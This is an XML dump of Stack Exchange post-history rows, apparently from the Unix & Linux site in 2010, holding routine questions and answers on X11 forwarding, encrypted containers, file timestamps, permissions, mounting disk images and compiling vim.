  <row Id="5816" PostHistoryTypeId="16" PostId="2788" RevisionGUID="ced8f778-a6ca-4463-a81a-927f2d1e7c86" CreationDate="2010-10-05T19:39:45.667" UserId="-1" />
  <row Id="5817" PostHistoryTypeId="2" PostId="2789" RevisionGUID="02a1f904-701b-490b-bcca-175f1d7ac6c0" CreationDate="2010-10-05T19:46:24.293" UserId="274" Text="The [Free Software Foundation](http://www.fsf.org/) maintains an online catalog of free software applications at http://directory.fsf.org/  From the website:&#xD;&#xA;&#xD;&#xA;&gt; We catalog useful free software that runs under free operating systems — particularly the&#xD;&#xA;&gt; GNU operating system and its GNU/Linux variants.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Licenses are verified for each and every program listed in this directory.&#xD;&#xA;" />
  <row Id="5818" PostHistoryTypeId="16" PostId="2789" RevisionGUID="02a1f904-701b-490b-bcca-175f1d7ac6c0" CreationDate="2010-10-05T19:46:24.293" UserId="-1" />
  <row Id="5819" PostHistoryTypeId="2" PostId="2790" RevisionGUID="bdd8fd1e-1835-4a10-9942-b8d0e32ed27c" CreationDate="2010-10-05T20:38:05.053" UserId="2171" Text="[I originally asked this question over on Super User][1], but I didn't get any answers.&#xD;&#xA;&#xD;&#xA;I'm trying to set up Xdmx on my Macbook Pro and my Ubuntu 10.04 workstation so that I can share my MBP's keyboard and mouse as well as X applications running on the workstation across the laptop display, a laptop attached monitor, and the workstation's monitor.&#xD;&#xA;&#xD;&#xA; 1. Where do I find the latest Xdmx? The Sourceforge site says that the code there is unmaintained and the project has been merged into Xserver. I can't find an up to date source or binary distribution.&#xD;&#xA;&#xD;&#xA; 2. How do I install it? Is there a package file? Do I have to build from source?&#xD;&#xA;&#xD;&#xA; 3. Are there other options for accomplishing what I've described above?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/194492/how-do-i-share-applications-windows-between-os-x-and-linux" />
  <row Id="5820" PostHistoryTypeId="1" PostId="2790" RevisionGUID="bdd8fd1e-1835-4a10-9942-b8d0e32ed27c" CreationDate="2010-10-05T20:38:05.053" UserId="2171" Text="How do I share applications windows between OS X and Linux?" />
  <row Id="5821" PostHistoryTypeId="3" PostId="2790" RevisionGUID="bdd8fd1e-1835-4a10-9942-b8d0e32ed27c" CreationDate="2010-10-05T20:38:05.053" UserId="2171" Text="éosxàéx11à" />
  <row Id="5822" PostHistoryTypeId="5" PostId="2714" RevisionGUID="1d6e497a-c360-4b30-acd4-e4fa85972754" CreationDate="2010-10-05T21:12:05.627" UserId="1974" Comment="added 1 characters in body; edited tags" Text="I have two Mac OS X clients, both running XQuartz 2.1.6 (xorg-server 1.4.2-apple33). When I SSH into a remote linux system enabling X11 forwarding and launch gnome-terminal, on one Mac the terminal looks correct while on the other, the fonts are all screwy!&#xD;&#xA;&#xD;&#xA;`[jnet@Stan ~]$ ssh -X jnet@kyle.local gnome-terminal` produces:&#xD;&#xA;![Lookin good!][1]&#xD;&#xA;&#xD;&#xA;`powerbook:~ hp$ ssh -X jnet@kyle.local gnome-terminal` produces:&#xD;&#xA;![OH MY GOD, MY EYES!!!!!][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The problem goes away on the powerbook if I zoom in twice:&#xD;&#xA;![Looks OK only because the image is scaled down to fit][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit:** This affects a number of apps, not just gnome-terminal. It also affects Thunderbird, for example.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/VLxc5.png&#xD;&#xA;  [2]: http://i.imgur.com/0EosJ.png&#xD;&#xA;  [3]: http://i.imgur.com/ppQkx.png" />
  <row Id="5823" PostHistoryTypeId="6" PostId="2714" RevisionGUID="1d6e497a-c360-4b30-acd4-e4fa85972754" CreationDate="2010-10-05T21:12:05.627" UserId="1974" Comment="added 1 characters in body; edited tags" Text="éxorgàéxforwardingàéx11àéfontsà" />
  <row Id="5824" PostHistoryTypeId="2" PostId="2791" RevisionGUID="0d39d7bd-4788-4ec1-b318-66e70dba4715" CreationDate="2010-10-05T21:13:19.237" UserId="33" Text="I want to store some data encrypted to carry around with me (this includes some scans of relevant paperwork, my [TAN][1] List for online banking, my gnupg and ssh keys and stuff like that). So not really a _huge_ amount of data but also more than a little textfile.&#xD;&#xA;&#xD;&#xA;What I want is a container I can put on my thumbdrive to carry things around in that is fully encrypted. A few more requirements:&#xD;&#xA;&#xD;&#xA; 1. Strong Encryption, so no ZIP with passwords&#xD;&#xA; 2. I want to sync the container to more than one location (in case the thumbdrive breaks or is stolen for example) so I cannot just create another dmcrypt partition on the thumbdrive&#xD;&#xA; 3. I want to open the container from my GNOME environment without a lot of terminal fiddling. Not that I don't like terminals, but I want a certain level of convenience. (Right-clicking in nautilus to &quot;mount&quot; is OK, entering 3 commands in a terminal is not)&#xD;&#xA; 4. Bonus: Something I can open from Windows and/or OSX as well&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Transaction_authentication_numbers" />
  <row Id="5825" PostHistoryTypeId="1" PostId="2791" RevisionGUID="0d39d7bd-4788-4ec1-b318-66e70dba4715" CreationDate="2010-10-05T21:13:19.237" UserId="33" Text="Portable encrypted container" />
  <row Id="5826" PostHistoryTypeId="3" PostId="2791" RevisionGUID="0d39d7bd-4788-4ec1-b318-66e70dba4715" CreationDate="2010-10-05T21:13:19.237" UserId="33" Text="égnomeàéencryptionà" />
  <row Id="5827" PostHistoryTypeId="5" PostId="2789" RevisionGUID="b3bc7c71-5ad4-43b1-bf5d-5060b5629348" CreationDate="2010-10-05T21:26:25.653" UserId="274" Comment="added 238 characters in body" Text="The [Free Software Foundation](http://www.fsf.org/) maintains an online catalog of free software applications at http://directory.fsf.org/  From the website:&#xD;&#xA;&#xD;&#xA;&gt; We catalog useful free software that runs under free operating systems — particularly the&#xD;&#xA;&gt; GNU operating system and its GNU/Linux variants.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Licenses are verified for each and every program listed in this directory.&#xD;&#xA;&#xD;&#xA;For each listed piece of software, a short description is provided, together with links to the homepage and user support resources are provided, as well as checkout commands and/or links to where the program sources can be downloaded.&#xD;&#xA;" />
  <row Id="5828" PostHistoryTypeId="2" PostId="2792" RevisionGUID="247ad4ea-e269-433d-aab8-8cb78044e9c9" CreationDate="2010-10-05T21:36:04.627" UserId="2172" Text="Give a look to lastpass.com, it is browser based but you can export your vault to various password manager formats, and even in the browser is all client based (your password is not sent to the server, but the data is retrieved encrypted and decrypted in your browser). It does Firefox, Chrome and others so it is multiplatform, and it syncs the vault automatically across the computers where you are logged in to the vault with the master password.&#xD;&#xA;&#xD;&#xA;It does automatic form filling too, and you can store notes as well." />
  <row Id="5829" PostHistoryTypeId="2" PostId="2793" RevisionGUID="66d1fbdd-2b93-4663-9774-4796e0d5beb9" CreationDate="2010-10-05T21:42:52.947" UserId="2158" Text="&lt;a href=&quot;http://www.truecrypt.org/&quot;&gt;Truecrypt&lt;/a&gt; ticks all of those boxes. You have the option of either encrypting the whole USB key, or just having an encrypted container (as a file)&#xD;&#xA;&#xD;&#xA;It can then be decrypted regardless of platform, and can be configured to automount." />
  <row Id="5831" PostHistoryTypeId="18" PostId="2779" RevisionGUID="a4004b85-b89a-442e-b88d-4f8635da5532" CreationDate="2010-10-05T21:44:09.150" UserId="73" Comment="from http://unix.stackexchange.com/questions/2778/where-can-i-find-software-for-unix-linux-that-does-x" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="5832" PostHistoryTypeId="18" PostId="2787" RevisionGUID="a4004b85-b89a-442e-b88d-4f8635da5532" CreationDate="2010-10-05T21:44:09.150" UserId="73" Comment="from http://unix.stackexchange.com/questions/2778/where-can-i-find-software-for-unix-linux-that-does-x" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="5833" PostHistoryTypeId="13" PostId="2779" RevisionGUID="2525c33e-9c64-431a-9391-1c83bb625af1" CreationDate="2010-10-05T21:44:49.010" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="5835" PostHistoryTypeId="4" PostId="2735" RevisionGUID="59756fa5-dbaf-4b4e-ac34-a56069f4f395" CreationDate="2010-10-05T22:33:58.300" UserId="4" Comment="Change title" Text="Install from RPM, then files change. How can I see the differences?" />
  <row Id="5836" PostHistoryTypeId="5" PostId="1404" RevisionGUID="793dd357-196a-4665-b388-e90c340f8c4f" CreationDate="2010-10-05T23:43:33.497" UserId="4" Comment="added 520 characters in body" Text="According to the [Bash Reference Manual][1], it's about convenience.&#xD;&#xA;&#xD;&#xA;&gt; Shells also provide a small set of built-in commands (builtins) implementing functionality impossible or inconvenient to obtain via separate utilities. For example, cd, break, continue, and exec) cannot be implemented outside of the shell because they directly manipulate the shell itself. The history, getopts, kill, or pwd builtins, among others, could be implemented in separate utilities, but they are more convenient to use as builtin commands. All of the shell builtins are described in subsequent sections. &#xD;&#xA;&#xD;&#xA;The [Advanced Bash Scripting Guide][2] has a more detailed explanation:&#xD;&#xA;&#xD;&#xA;&gt; &quot;A builtin  is a command contained&#xD;&#xA;&gt; within the Bash tool set, literally&#xD;&#xA;&gt; built in. This is either for&#xD;&#xA;&gt; performance reasons -- builtins&#xD;&#xA;&gt; execute faster than external commands,&#xD;&#xA;&gt; which usually require forking off  [1]&#xD;&#xA;&gt; a separate process -- or because a&#xD;&#xA;&gt; particular builtin needs direct access&#xD;&#xA;&gt; to the shell internals.&quot;&#xD;&#xA;&#xD;&#xA;Also note that `echo` does exist as a standalone utility on some systems. Here's what I have on my Darwin system (MacOSX 10.5.8 - Leopard) &#xD;&#xA;&#xD;&#xA;    $ uname -a&#xD;&#xA;    Darwin host.foo.org 9.8.0 Darwin Kernel Version 9.8.0: Wed Jul 15 16:55:01 PDT 2009; root:xnu-1228.15.4~1/RELEASE_I386 i386&#xD;&#xA;    $ bash --version&#xD;&#xA;    GNU bash, version 3.2.17(1)-release (i386-apple-darwin9.0)&#xD;&#xA;    Copyright (C) 2005 Free Software Foundation, Inc.&#xD;&#xA;    $ which echo&#xD;&#xA;    /bin/echo&#xD;&#xA;&#xD;&#xA;`echo` is also available as a builtin, but apparently my scripts use /bin/echo on my Mac, and use a Bash builtin on most of my Linux &amp; FreeBSD systems. But that doesn't seem to matter, because the scripts still work fine everywhere.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#What-is-a-shell_003f&#xD;&#xA;  [2]: http://tldp.org/LDP/abs/html/internal.html" />
  <row Id="5837" PostHistoryTypeId="2" PostId="2794" RevisionGUID="bc6dc7cb-a4d3-4a62-af2b-d4c2acf84368" CreationDate="2010-10-06T00:20:08.963" UserId="2150" Text="I have never noticed this behaviour before, and am a little confused as to what is happening.  I have a local copy of firefox running, then ssh (ssh -X &lt;url&gt;) into a remote server and start a copy there to use the local display.  Turns out the local firefox just opened a new window.  I verified with ps x|grep firefox that indeed no firefox process is started on the remote server.&#xD;&#xA;&#xD;&#xA;This same strange behaviour happens in reverse, if I have a remote firefox running and try to start a local one, then the remote one opens a new window.&#xD;&#xA;&#xD;&#xA;I am on ubuntu 10.4, with a nearly completely fresh install (I just got this computer this afternoon).  I was trying to have the two firefoxes running at the same time so that I could easily run down the list of plugins to install.&#xD;&#xA;&#xD;&#xA;What is happening here, and how can I avoid it from happening?&#xD;&#xA;&#xD;&#xA;best,&#xD;&#xA;Bart (who is really rather confused about this)" />
  <row Id="5838" PostHistoryTypeId="1" PostId="2794" RevisionGUID="bc6dc7cb-a4d3-4a62-af2b-d4c2acf84368" CreationDate="2010-10-06T00:20:08.963" UserId="2150" Text="Starting firefox on a remote host (over ssh) opens a new window locally: what is happening?" />
  <row Id="5839" PostHistoryTypeId="3" PostId="2794" RevisionGUID="bc6dc7cb-a4d3-4a62-af2b-d4c2acf84368" CreationDate="2010-10-06T00:20:08.963" UserId="2150" Text="éubuntuàésshàéremoteà" />
  <row Id="5840" PostHistoryTypeId="2" PostId="2795" RevisionGUID="e28ec37e-173a-47d2-9256-67b84cb866cf" CreationDate="2010-10-06T00:36:48.820" UserId="33" Text="Has been an issue with firefox for quite a while, try running firefox as `firefox -no-remote` (setting `MOZ_NO_REMOTE=1` as environment variable should work as well).&#xD;&#xA;&#xD;&#xA;[Here][1]'s more info &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.theopensourcerer.com/2007/11/15/remote-firefox-over-xssh/" />
  <row Id="5841" PostHistoryTypeId="2" PostId="2796" RevisionGUID="5ad99172-9a64-4347-bc26-c8e10af55a50" CreationDate="2010-10-06T02:53:10.430" UserId="2119" Text="Do you know of a tool for discrete processes (those like production, logistics, client queue service (retail, call center etc.) etc.)) simulation modelling? I am familiar with 2 of such applications for Windows: Rockwell Arena and GPSS World. Are there any free alternatives for Linux? Maybe even standard (BEPL/UML/IDEF0/2/3) aware?" />
  <row Id="5842" PostHistoryTypeId="1" PostId="2796" RevisionGUID="5ad99172-9a64-4347-bc26-c8e10af55a50" CreationDate="2010-10-06T02:53:10.430" UserId="2119" Text="Can you recommed a discrete simulation modelling system (like GPSS or Rockwell Arena) for Linux?" />
  <row Id="5843" PostHistoryTypeId="3" PostId="2796" RevisionGUID="5ad99172-9a64-4347-bc26-c8e10af55a50" CreationDate="2010-10-06T02:53:10.430" UserId="2119" Text="ésoftwareörecà" />
  <row Id="5844" PostHistoryTypeId="2" PostId="2797" RevisionGUID="2308dc98-7977-4d0b-a931-d42354e97798" CreationDate="2010-10-06T03:29:04.910" UserId="2119" Text="I'd like to see a list of all the Linux distros by their mission (like generic, firewall, mail server, free-only, enterprise, virtual machines host, virtual machine guest, audio production, etc.) with basic description and analytics (like first release date, package management system, development activity, people behind the distro (like core team size or, for example &quot;Canonical corporation&quot; for Ubuntu) release cycle description, popularity, etc.). Where can I find such a catalogue?&#xD;&#xA;&#xD;&#xA;I've tried distrowatch.com, but couldn't find any classification there. I'd like to be able, for example, to see &quot;all the distros meant specially for a firewall (or a LAMP server) deployment&quot;, or &quot;all the distros available as LiveCDs&quot; etc." />
  <row Id="5845" PostHistoryTypeId="1" PostId="2797" RevisionGUID="2308dc98-7977-4d0b-a931-d42354e97798" CreationDate="2010-10-06T03:29:04.910" UserId="2119" Text="Could you share a link to a good catalogue of Linux distros to choose?" />
  <row Id="5846" PostHistoryTypeId="3" PostId="2797" RevisionGUID="2308dc98-7977-4d0b-a931-d42354e97798" CreationDate="2010-10-06T03:29:04.910" UserId="2119" Text="édistrosà" />
  <row Id="5848" PostHistoryTypeId="2" PostId="2798" RevisionGUID="cc53494a-85cb-45e4-9ea4-d52f623cb360" CreationDate="2010-10-06T04:16:22.357" UserId="2119" Text="I use Gnome-based Ubuntu 10.10 and Kate text editor.&#xD;&#xA;&#xD;&#xA;If I right-click on a folder in Kate's file system navigation panel and choose to open the folder in a file manager, Filelight (a disk space occupation diagramming tool) pops up (which is far from what was intended). Can I set up Kate to open Nautilus in such a case?" />
  <row Id="5849" PostHistoryTypeId="1" PostId="2798" RevisionGUID="cc53494a-85cb-45e4-9ea4-d52f623cb360" CreationDate="2010-10-06T04:16:22.357" UserId="2119" Text="How to set up Kate to use Nautilus as a file manager?" />
  <row Id="5850" PostHistoryTypeId="3" PostId="2798" RevisionGUID="cc53494a-85cb-45e4-9ea4-d52f623cb360" CreationDate="2010-10-06T04:16:22.357" UserId="2119" Text="énautilusàékateà" />
  <row Id="5851" PostHistoryTypeId="2" PostId="2799" RevisionGUID="2060be7f-6f60-4db2-854a-7674e7e1e105" CreationDate="2010-10-06T04:18:20.597" UserId="1903" Text="I am using RHEL 5, If i plug my USB Flash drive i'm getting Error message as follows,&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;This much days It work smoothly, And now it working with windows XP well.&#xD;&#xA;&#xD;&#xA;Where is the problem ? How can i solve it ? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/N1iKf.png" />
  <row Id="5852" PostHistoryTypeId="1" PostId="2799" RevisionGUID="2060be7f-6f60-4db2-854a-7674e7e1e105" CreationDate="2010-10-06T04:18:20.597" UserId="1903" Text="Auto mount HP USB Flash drive Error" />
  <row Id="5853" PostHistoryTypeId="3" PostId="2799" RevisionGUID="2060be7f-6f60-4db2-854a-7674e7e1e105" CreationDate="2010-10-06T04:18:20.597" UserId="1903" Text="élinuxàéusbàéautomountingàérhelà" />
  <row Id="5854" PostHistoryTypeId="2" PostId="2800" RevisionGUID="8ee13525-2e62-495b-af61-22ffaf1da9bc" CreationDate="2010-10-06T07:40:39.943" UserId="2045" Text="Can't he use run level 1 to change root password?&#xD;&#xA;&#xD;&#xA;What I have in mind is &#xD;&#xA;&#xD;&#xA; 1. Set grub password so that not every user can change the run level at boot time.&#xD;&#xA; 2. This password is given to the normal user who might need to change root password in future.&#xD;&#xA; 3. Now if needs arise to change the root password, he can modify grub parameters at boot time. Press 'a', give grub password and then give 1, so that machine boots into run level 1.&#xD;&#xA; 4. Once in run level 1, he can change root password.&#xD;&#xA;&#xD;&#xA;The obvious disadvantage of this procedure is that machine has to be rebooted and while its in run level 1, it will be offline.&#xD;&#xA;&#xD;&#xA;Kindly mention the flaws that you find in this procedure. " />
  <row Id="5855" PostHistoryTypeId="2" PostId="2801" RevisionGUID="073055c0-289a-4d3b-84c7-05dc1e62272e" CreationDate="2010-10-06T07:46:56.467" UserId="1941" Text="How much of KDE do you have installed? If you have the systemsettings tool, you could use it to change the application associated to folder. My guess is that there is filelight there at the moment and you want nautilus instead. If you don't have systemsettings, you might try something along the lines &#xD;&#xA;&#xD;&#xA;    grep -ri filelight ~/.kde&#xD;&#xA;&#xD;&#xA;to find where the setting to use filelight is stored and change it manually." />
  <row Id="5856" PostHistoryTypeId="2" PostId="2802" RevisionGUID="10e1c712-9412-461c-93d2-02a48c6b8853" CreationDate="2010-10-06T07:57:51.607" UserId="2045" Text="The `stat` command's manual page says:&#xD;&#xA;&#xD;&#xA;&gt;        %x     Time of last access&#xD;&#xA;&gt;        %y     Time of last modification&#xD;&#xA;&gt;        %z     Time of last change&#xD;&#xA;&#xD;&#xA;I am unable to understand what is the difference between _modify_ and _change_. What I understand both are synonyms (English is not my mother tongue), but the out of both is different.&#xD;&#xA;&#xD;&#xA;I tried following command&#xD;&#xA;&#xD;&#xA;     stat --printf=&quot;Change %z\nAccess %x\nModify %y\n&quot; p.txt&#xD;&#xA;&#xD;&#xA;Now when I open p.txt, access time is changed, I go into insert mode, edit the file, modify and change time remains same. &#xD;&#xA;&#xD;&#xA;&gt; Change 2010-10-06 12:48:39.286252389 +0500 &lt;br/&gt;&#xD;&#xA;&gt; Access 2010-10-06 12:49:14.**962243456** +0500 &lt;br/&gt;&#xD;&#xA;&gt; Modify 2010-10-06 12:48:39.234498878 +0500&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When I write the changes to file `:w`, modify and change, both change but give different values.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Change 2010-10-06 12:51:21.**949082169** +0500 &lt;br/&gt;&#xD;&#xA;&gt; Access 2010-10-06 12:51:21.908246082 +0500 &lt;br/&gt;&#xD;&#xA;&gt; Modify 2010-10-06 12:51:21.**908246082** +0500&#xD;&#xA;&#xD;&#xA;So what is the meaning of modify and change in this context? Time of modification and change give time of which event? &lt;br/&gt;&#xD;&#xA;Thanks" />
  <row Id="5857" PostHistoryTypeId="1" PostId="2802" RevisionGUID="10e1c712-9412-461c-93d2-02a48c6b8853" CreationDate="2010-10-06T07:57:51.607" UserId="2045" Text="What is the difference between modify and change in stat command context?" />
  <row Id="5858" PostHistoryTypeId="3" PostId="2802" RevisionGUID="10e1c712-9412-461c-93d2-02a48c6b8853" CreationDate="2010-10-06T07:57:51.607" UserId="2045" Text="écommandölineà" />
  <row Id="5859" PostHistoryTypeId="6" PostId="2757" RevisionGUID="3ad54109-5923-4a94-a7c3-6b63ca4fe790" CreationDate="2010-10-06T08:22:42.433" UserId="2158" Comment="edited tags" Text="édistrosàélivecdàébrowserà" />
  <row Id="5860" PostHistoryTypeId="2" PostId="2803" RevisionGUID="3c79bb16-2adb-4d8d-be0a-dbf9d1068e5d" CreationDate="2010-10-06T08:24:48.357" UserId="274" Text="This has already been answered in [this question](http://unix.stackexchange.com/questions/2464/timestamp-modification-time-and-created-time-of-a-file), which I quote (original text by [echox](http://unix.stackexchange.com/users/1339/echox)):&#xD;&#xA;&#xD;&#xA;&gt; There are 3 kind of &quot;timestamps&quot;:&#xD;&#xA;&gt; &#xD;&#xA;&gt;    * Access - the last time the file was read&#xD;&#xA;&gt;    * Modify - the last time the file was modified (content has been modified)&#xD;&#xA;&gt;    * Change - the last time meta data of the file was changed (e.g. permissions)&#xD;&#xA;&#xD;&#xA;[This post on StackOverflow](http://stackoverflow.com/questions/3385203/regarding-access-time-unix) explains the difference among the three different times from a programming interface point of view." />
  <row Id="5861" PostHistoryTypeId="5" PostId="2662" RevisionGUID="993b14f4-a3bd-4498-9957-539d8f3ec338" CreationDate="2010-10-06T09:08:13.270" UserId="1327" Comment="added 242 characters in body; added 3 characters in body" Text="When you use `dd` on `/dev/sdb` instead of `/dev/sdb1` or `/dev/sdb2`, you copy **all** the *partitions* from the said drive into **one** file.&#xD;&#xA;&#xD;&#xA;You must mount each partition separately. &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;To **mount** a partition from a **file**, you must first find out where in the file that partition resides.&#xD;&#xA;&#xD;&#xA;Using your output from `file -s sdb.img` we find the `startsectors` for each partition:&#xD;&#xA;&#xD;&#xA;&gt; sdb.img: x86 boot sector; **partition 1**:&#xD;&#xA;&gt; ID=0x12, starthead 1, **startsector 63**,&#xD;&#xA;&gt; 10233342 sectors; **partition 2**: ID=0xc,&#xD;&#xA;&gt; active, starthead 0, **startsector&#xD;&#xA;&gt; 10233405**, 72517410 sectors; **partition&#xD;&#xA;&gt; 3**: ID=0xc, starthead 0, **startsector&#xD;&#xA;&gt; 82750815**, 73545570 sectors, code&#xD;&#xA;&gt; offset 0xc0&#xD;&#xA;&#xD;&#xA;**Partition**&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;**Startsector**  &#xD;&#xA;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;63  &#xD;&#xA;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;10233405  &#xD;&#xA;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;82750815  &#xD;&#xA;&#xD;&#xA;To mount a single partition, where `X`  is the **startsector** of that partition, run:&#xD;&#xA;&#xD;&#xA;    mount ~/sdb.img /mnt/sdb -o offset=$((X*512))&#xD;&#xA;&#xD;&#xA;So to mount  the **second partition**, you will have to run:&#xD;&#xA;&#xD;&#xA;    mount ~/sdb.img /mnt/sdb2 -o offset=$((10233405*512))&#xD;&#xA;&#xD;&#xA;**sidenote:** make sure that `/mnt/sdb2` exists before you run this.&#xD;&#xA;&#xD;&#xA;Have fun!&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;**update:** In the answer, I assumed that the sector size for you image was `512`, please see [this question][1] on how to calculate that.&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/2668/finding-the-sector-size-of-a-partition&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5862" PostHistoryTypeId="5" PostId="1661" RevisionGUID="19cc3c76-a8f5-4d2b-ad71-c434bfe1de95" CreationDate="2010-10-06T11:39:38.103" UserId="1327" Comment="deleted 1 characters in body" Text="It is the unexpected program flow behavior (kernel is a program in this case). In case of panic program stops working.&#xD;&#xA;It IS equal to the windows BsoD.&#xD;&#xA;KP means something wrong with kernel or modules. If it's stable kernel - look at drivers. If nothing special and all drivers are common it could be hardware problem." />
  <row Id="5863" PostHistoryTypeId="2" PostId="2804" RevisionGUID="092f4c66-ede7-422a-a60d-7ecb91eb3758" CreationDate="2010-10-06T12:00:29.827" UserId="1327" Text="Using `chmod` I could set the permissions for a file, but if the parent ( `..` ) directory had conflicting permissions, what would happen?&#xD;&#xA;&#xD;&#xA;And if I create a new file, using `touch` or something similiar, how are the initial permissions calculated? Are permissions inherited it from `..`?&#xD;&#xA;&#xD;&#xA;And why can't I do anything in directory when I removed the `executable` permission flag?&#xD;&#xA;&#xD;&#xA;    $ mkdir temp;&#xD;&#xA;    $ chmod -x temp;&#xD;&#xA;    $ touch temp/a;&#xD;&#xA;    $ ls temp;&#xD;&#xA;    touch: cannot touch `temp/a': Permission denied&#xD;&#xA;&#xD;&#xA;    " />
  <row Id="5864" PostHistoryTypeId="1" PostId="2804" RevisionGUID="092f4c66-ede7-422a-a60d-7ecb91eb3758" CreationDate="2010-10-06T12:00:29.827" UserId="1327" Text="How is file permissions calculated" />
  <row Id="5865" PostHistoryTypeId="3" PostId="2804" RevisionGUID="092f4c66-ede7-422a-a60d-7ecb91eb3758" CreationDate="2010-10-06T12:00:29.827" UserId="1327" Text="épermissionsà" />
  <row Id="5866" PostHistoryTypeId="2" PostId="2805" RevisionGUID="7cf9a8bc-d30f-4988-9b75-daa7e5f22caa" CreationDate="2010-10-06T12:12:59.240" UserId="2000" Text="First of all ... in Linux everything is a file. By everything I mean everything ... your folders, or mouse, or keyboard ... all is a file.&#xD;&#xA;&#xD;&#xA;Now, let's answer your questions:&#xD;&#xA;&#xD;&#xA;1) There are no conflicts between folder and contained file. If you have a folder woth only read rights, but you have a file in that folder with write permissions, you can write to that file. However you can not create/delete files in that folder. So, don't worry about conflicts. Also you can read the contents of the folder (list the folder).&#xD;&#xA;&#xD;&#xA;2) Default permissions usually are 644 (meaning: rw for user, r for group and other)&#xD;&#xA;&#xD;&#xA;3) The &quot;executable&quot; bit for a directory means &quot;listing&quot; the directory. In other words, if you -x a folder, you can't know its content, that means you can't touch something into it." />
  <row Id="5868" PostHistoryTypeId="2" PostId="2807" RevisionGUID="74d07d8f-6ac8-41aa-99d1-82ce12cdbbd3" CreationDate="2010-10-06T12:22:10.640" UserId="2045" Text="I am trying to compile vim will all features enabled. I ran configure with &#xD;&#xA;&#xD;&#xA;    $ ./configure --with-features=huge --enable-gui --enable-cscope&#xD;&#xA;    $ make ; make install&#xD;&#xA;&#xD;&#xA;When I check the version, it shows several features are still not installed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Huge version without GUI.  Features&#xD;&#xA;&gt; included (+) or not (-):&#xD;&#xA;&gt; +arabic +autocmd -balloon_eval **-browse** ++builtin_terms +byte_offset +cindent &#xD;&#xA;&gt; **-clientserver -clipboard** +cmdline_compl +cmdline_hist +cmdline_info +comments &#xD;&#xA;&gt; +conceal +cryptv +cscope +cursorbind +cursorshape +dialog_con +diff +digraphs &#xD;&#xA;&gt; -dnd -ebcdic +emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path&#xD;&#xA;&gt; **....**&#xD;&#xA;&#xD;&#xA;Now according to [vimdoc](http://vimdoc.sourceforge.net/htmldoc/various.html#+feature-list) &lt;br/&gt;&#xD;&#xA;&gt; N  *+browse*	&#xD;&#xA;&gt; N  *+clientserver*&#xD;&#xA;&#xD;&#xA;It says &#xD;&#xA;&gt; Thus if a feature is marked with &quot;N&quot;, it is included in the normal, big and huge versions of Vim.&#xD;&#xA;&#xD;&#xA;`features.h` also says&#xD;&#xA;&gt; +huge                all possible features enabled.&#xD;&#xA;&#xD;&#xA;According to the above mentioned two resources, `huge` means all features are enabled. Even if not all, then at least `+clientserver` and `+browse` has to be enabled in `huge` compilation mode. &#xD;&#xA;&#xD;&#xA;But my experience says otherwise. Huge compilation fails to include browse and clientserver feature.&#xD;&#xA;&#xD;&#xA;1- Why is it so? Is my understanding of the document is incorrect?&lt;br/&gt;&#xD;&#xA;2- How to enable clientserver feature?&lt;br/&gt;&#xD;&#xA;3- How to enable gui?&lt;br/&gt;&#xD;&#xA;4- Is it possible to enable **all** features simply? I tired huge as `features.h` suggested it will enable all possible features, but it didn't work.&#xD;&#xA;&#xD;&#xA;Thanks for your time." />
  <row Id="5869" PostHistoryTypeId="1" PostId="2807" RevisionGUID="74d07d8f-6ac8-41aa-99d1-82ce12cdbbd3" CreationDate="2010-10-06T12:22:10.640" UserId="2045" Text="Why my vim compile fails to include clientserver?" />
  <row Id="5870" PostHistoryTypeId="3" PostId="2807" RevisionGUID="74d07d8f-6ac8-41aa-99d1-82ce12cdbbd3" CreationDate="2010-10-06T12:22:10.640" UserId="2045" Text="évimàécompilingà" />
